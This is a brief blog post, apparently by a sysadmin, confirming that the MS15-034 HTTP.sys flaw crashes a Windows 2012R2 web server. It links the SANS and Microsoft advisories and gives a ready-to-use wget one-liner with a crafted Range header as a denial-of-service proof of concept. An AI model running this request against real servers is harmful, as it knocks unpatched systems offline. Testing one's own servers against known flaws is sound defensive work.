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So I finally had a chance to test this little doozy of an issue this lunchtime. Crash a webserver by issuing a simple wget command?

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Yep, I can confirm that this is a good ‘un against a Windows 2012R2 server as you can see in my screenshot above.

wget --header="Range: bytes=18-18446744073709551615" http://[ip address]/

Find out more here from the SANS Internet Storm Center here:
SANS Internet Storm Center

And here:

Microsoft MS15-034 Security Bulletin:
https://technet.microsoft.com/en-us/library/security/ms15-034.aspx

-Chris